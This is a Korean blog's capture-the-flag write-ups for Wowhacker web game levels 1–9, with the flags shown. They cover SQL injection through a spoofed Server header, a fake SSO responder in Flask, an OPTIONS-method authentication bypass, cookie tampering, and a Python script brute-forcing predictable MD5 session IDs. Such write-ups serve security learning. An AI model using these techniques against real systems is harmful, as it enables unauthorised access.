URL을 적으면 해당 URL로 HTTP Request를 보내 Response Header 중 Server 항목의 정보를 가져와서 

그 서버와 같은 목록을 출력해준다.




필자는 위와 같이 Python의 Flask 모듈을 이용하여 Response Header의 Server 항목을 test로 변경하였다.




역시 SQL Injection 취약점이 있다.

test' or 1=1#을 입력하였더니, 모든 서버에 대한 정보가 나온다.




좀 더 편하게 하기 위해 server.txt 파일을 읽어와서 Response Header 의 Server 항목으로 전송하도록 코딩하였다.



union을 이용하여 컬럼수를 맞춰 다른 테이블에 있는 데이터를 가져올 수 있게 한다.



MySQL의 METADATA인 Information_schema.tables의 table_name을 출력해본다.

가장아래에 수상한 테이블인 readme가 보인다.



이제 테이블명이 readme라는 것을 알았으니, 컬럼명을 알아 볼 차례다.

역시 마찬가지로 METADATA인 Information_schema.columns를 출력해보면 value 항목이 있는 것을 확인 할 수 있다.

이제 테이블명과 컬럼명을 알았으니, 테이블안에 있는 값을 출력한다.




from flask import Flask, request, session, g, redirect, url_for, abort, render_template, flash, Response, make_response

app = Flask(__name__)

@app.route("/")
def hello():
	response = make_response("")
	response.headers['Server'] = open('server.txt').readline()
	return response

	
if __name__ == "__main__":
    app.run(host = "0.0.0.0", port=8000, debug=True)


WebGameIsVeryVeryFunny!



'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 9  (0) 2015.06.15
Wowhacker - Web Game Level 8  (0) 2015.06.14
Wowhacker - Web Game Level 7  (0) 2015.06.14
Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14






접속하니, 로그인 창이 나온다.



쿠키를 보면 딱봐도 수상한 값이 base64로 encode 되어 들어있는 것을 볼 수 있다.

decode 해보도록 하자.




이 값을 이용해 SSO 서버로 요청을 한다는 것을 짐작할 수 있다.

그렇다면 이 값을 내 서버로 넣으면 내 서버로 요청이 올 것이다.

이 요청에 따른 응답을 잘 맞게 해주면 로그인이 될 것이라는 감도 온다.



encode 하여 쿠키에 넣도록 하자.




그리고 admin을 입력한다.

그 다음 해당 SSO 서버에 넣은 웹서버를 구축해야 하는데, 필자는 Python의 Flask 모듈을 이용해 만들었다.



요청 값을 보면 뒤에 base64로 encode 된 값이 온 것을 확인 할 수 있다.

decode 해보자.



PING 이다.

이제 여기에 맞는 응답을 해야하는데, 순전히 때려 맞추기로 풀어야 한다.




OK, PING, ... 을 때려 보다가 PONG을 보내보니 다음 요청을 한다.



온 값을 Decode 해보니 admin이다.

로그인시도를 한 ID인 것을 확인 할 수 있다.

여기서 부터가 어떤 응답을 해야할 지 진짜 힘든데

필자도 OK, PING , PONG, Already, ID, 1, True 등등 다 때려보다가

온 값을 decode 하여 md5로 해쉬화 한다음에 Base64로 encode하여 보냈더니 다음 요청이 왔다.

다음요청은 PW Check인데 ID Check와 같은 응답을 해주면 된다..




아래는 필자가 작성한 Flask 모듈을 사용한 Python 소스다.

from flask import Flask, request, session, g, redirect, url_for, abort, render_template, flash, Response, make_response
import base64
import hashlib

app = Flask(__name__)

@app.route("/SSOServerChecker.php")
def hello():
	response = make_response("")
	response.headers['SSO'] = base64.b64encode("PONG")
	return response
	
@app.route("/SSOIDChecker.php")
def id_check():
	id = request.args.get('sso')
	id = base64.b64decode(id)
	id = str(hashlib.md5(id).hexdigest())
	id = base64.b64encode(id)
	
	response = make_response("")
	response.headers['SSO'] = id
	return response
	
@app.route("/SSOPasswordChecker.php")
def pw_check():
	pw = request.args.get('sso')
	pw = base64.b64decode(pw)
	pw = str(hashlib.md5(pw).hexdigest())
	pw = base64.b64encode(pw)
	
	response = make_response("")
	response.headers['SSO'] = pw
	return response
	
if __name__ == "__main__":
    app.run(host = "0.0.0.0", port=8000, debug=True)



Oh~ComeWhatMay!

'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 9  (0) 2015.06.15
Wowhacker - Web Game Level 8  (0) 2015.06.14
Wowhacker - Web Game Level 7  (0) 2015.06.14
Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14




guest/guest로 로그인 하니 들어가진다.




Replay - Reissue and Edit를 누르고 요청을 하나 더 만든 다음, 아래와 같이 base64로 아이디와 비밀번호를 암호화한다.




지난 문제와 같이 HTTP Method를 OPTIONS로 변경하고 Authorization 값에 base64한 값을 입력해주면,

위와 같이 SQL Injection이 된다.

이제 union을 써보기 위해 Column 갯수를 동일하게 만들어야 한다.

이 방법은 단순히 때려 맞추는 방법 밖에 없다.

아래와 같이 1,2,3,4,5 처럼 값을 임의로 집어넣어 맞춰보자.




Column의 갯수를 알았으니 이제 MySQL의 METADATA인 Information_schema.table에서 

만들어져있는 table_name과 table_type을 보도록 하자.



user_info가 나온다.



테이블명을 알았으니, 이제 Column 명을 알기 위해 

information_schema.columns 에서 column_name, data_type을 찾도록 하자.





admin을 입력해보니 접속이 되지 않는다.

혹시 admin으로 접속하면 끝나는 걸 돌아서 가고있나 하는 마음에 

admin으로 접속해 봤지만 다행히 아직 문제는 해결되지 않았다고 한다.



처음으로 돌아가서 테이블 명부터 다시 찾아보도록 하자.

찾아보니 keytable이라는 테이블이 있었다..

딱봐도 다음 문제로 가는 키가 있을 것 같아 보인다.. 





Column을 찾고..



If you dream it, you can do it


'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 9  (0) 2015.06.15
Wowhacker - Web Game Level 8  (0) 2015.06.14
Wowhacker - Web Game Level 7  (0) 2015.06.14
Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14




Internet Explorer로 접속하면 개미 게임이 나올테지만, Chrome 으로 접속하면 아무 것도 나오지 않는다.

F12를 눌러 개발자 모드로 들어가면 자바스크립트가 나온다.



자바스크립트를 보다보면 다음과 같은 코드가 있다.

딱 봐도 Point 에 따른 값을 출력해주는 것을 알 수 있다.

자바스크립트는 Client 에서도 충분히 변조 할 수 있기 때문에 위와 같은 게임에서는 적합하지 않다.

Console 에서 point 값을 바꿔보도록 하자.




IhateCrazyCow.too!

'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 8  (0) 2015.06.14
Wowhacker - Web Game Level 7  (0) 2015.06.14
Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14
Wowhacker - Web Game Level 3  (0) 2015.06.14




접속해보니 인증이 필요하다고 한다.

인증 우회 법중 HTTP Method를 OPTIONS로 바꿔서 요청하면, 우회가 되는 경우가 있었다고 한다.

Fiddler 라는 HTTP Proxy 프로그램을 이용하여 메소드를 변경해보도록 하자



위와 같이 Before Request를 설정하고, 요청을 해보자.



위처럼 뜨는데 Raw를 눌러서 HTTP Method를 OPTIONS으로 변경하고 Run to Completion 버튼을 누른다.



ISayDDaeYouSayMireoyo!

'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 7  (0) 2015.06.14
Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14
Wowhacker - Web Game Level 3  (0) 2015.06.14
Wowhacker - Web Game Level 2  (0) 2015.06.14




접속해보니 로그인 창이 나온다. 

guest/guest로 접속해보면 아래와 같이 나온다.




세션을 보니 길쭉한게 뭔가 이상하다.



혹시나 해서 반으로 나눠 보니 MD5로 해쉬화 되어있는 값 같다.



왠지 아이디를 해쉬화 했을거 같아 guest를 해쉬화 하여 비교해보니 같다,

 그렇다면 아래는 로그인 시간을 이용해서 했다는 것을 대충 짐작할 수 있다.




역시 마찬가지로 같다.

이렇게 세션생성의 알고리즘을 알게 되었으면, 다른 사람의 세션을 유추하여 접속 할 수 있기 때문에 보안상 취약하다.



힌트를 보면 아직 안햇다는 걸로 봐서는 로그아웃을 아직 안했다는 것 같다.

운영자가 처음 공지를 올린 시간을 기준으로 전의 시간을 하나하나 유추해가며 접속해보도록 하자.



일일히 손으로 짤 수 도 있겠지만, 필자는 귀찮아서 Python으로 스크립트를 작성하여 풀었다.

import urllib
import urllib2
import hashlib
import time

def wow_req(cookie):
	url = "http://webgame.wowhacker.com/wlv4game/index.php"
	request = urllib2.Request(url, headers={"Cookie":"WOWSESSIONID="+cookie+"; __utma=14578993.1008808151.1434245363.1434245363.1434245363.1; __utmc=14578993; __utmz=14578993.1434245363.1.1.utmccn=(referral)|utmcsr=wowhacker.com|utmcct=/|utmcmd=referral; PHPSESSID=98191be715d859e4f43fc5bf897e17f6"})
	response = urllib2.urlopen(request)
	return response.read()

admin = hashlib.md5("admin").hexdigest()
ts = 1213056741
data = ""
i = 0
while "Hi!" not in data:
	i += 1
	cookie = admin + hashlib.md5(str(ts - i)).hexdigest()
	data = wow_req(cookie)
	print str(ts - i) + " - " + cookie
	time.sleep(1)
	#print data

print "[*] Find It Cookie is "+ cookie








VeRY Good! My Friend!


'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14
Wowhacker - Web Game Level 3  (0) 2015.06.14
Wowhacker - Web Game Level 2  (0) 2015.06.14
Wowhacker - Web Game Level 1  (0) 2015.06.14




또 게시판이다. 굵은 글씨로 자신의 파일을 봐달라는 글의 파일을 보는 것이 이번 문제인 것 같다.




전 문제와 비슷하게 다른 게시글의 다운로드 링크 주소부터 체크한다.

이번엔 뭔가 다르다. 하지만 자세히 보면 위의 게시글의 어느 부분과 일치하는 점이 있다.

바로 게시글 작성시간인데, 뒷부분이 어느정도 일치한다.

혹시 작성시간을 timestamp로 변환하고 또 MD5로 햬쉬하여 쓰는 것은 아닌지 의심이 간다.

한번 tmestamp로 만들어 MD5로 해쉬화 해보자.





다운로드 링크에 있는 해쉬값과 일치한다.

그럼 문제를 어떻게 풀지 감이 잡힌다.


글 작성시간을 확인하고 timestamp로 변환하여 보도록 하자.


timestamp로 변환하였으니 MD5로 해쉬화 해보도록 하자





iwantknowmoreMrjones!

'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14
Wowhacker - Web Game Level 3  (0) 2015.06.14
Wowhacker - Web Game Level 2  (0) 2015.06.14
Wowhacker - Web Game Level 1  (0) 2015.06.14




위의 주소로 들어가면 게시판이 나온다.



공지를 읽어보니 특정 레벨 이상만 읽을 수 있다고 한다.



Password.txt라는 글이 있길래 눌러보니 레벨 7 이상만 읽을 수 있다고 한다.

쿠키를 보니 Level 항목이 있다.

7로 바꿔보도록 하자.





바꾸고 다시 들어갔지만, 불법적인 접근이라고 한다.

Answer.txt는 레벨이 5 이상만 볼 수 있다고 하던데 다시 5로 바꿔보도록 하자.




Answer.txt 게시물을 볼 수 있게 되었다. 첨부파일을 다운로드 할 수 있게 되어있는데 봐봤자 아무 짝에도 쓸모없는 파일이다.

하지만, 여기서 download.php에 변수를 어떻게 넘기는지를 볼 수 있다.

링크 주소를 복사하여 주소창에 붙여넣어보도록 하자.




이렇든 no가 3, 그리고 Path에 파일 이름이 들어간 것을 볼 수 있다.

그렇다면, Answer.txt의 이전글이 Password.txt 였으니, no와 path를 어떻게 적어야 할 질 대충 짐작이 갈 것이다.



파일을 다운로드 받아보니, Base64로 encode된 것 같다.


Where is fckorea?!

'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14
Wowhacker - Web Game Level 3  (0) 2015.06.14
Wowhacker - Web Game Level 2  (0) 2015.06.14
Wowhacker - Web Game Level 1  (0) 2015.06.14




개발자의 실수로 php의 소스코드를 볼 수 있다고 한다.

php의 소스를 phps로 저장하는 경우가 있는데 이를 물어본 것 같다.



level.phps로 접근하면 key 변수로 "wowhacker_hardware" 값을 넘겨주면 key를 include 하여 보여준다.



i love tiger mac

'Challenge > Wowhacker - Web' 카테고리의 다른 글

Wowhacker - Web Game Level 6  (0) 2015.06.14
Wowhacker - Web Game Level 5  (0) 2015.06.14
Wowhacker - Web Game Level 4  (0) 2015.06.14
Wowhacker - Web Game Level 3  (0) 2015.06.14
Wowhacker - Web Game Level 2  (0) 2015.06.14
Wowhacker - Web Game Level 1  (0) 2015.06.14

+ Recent posts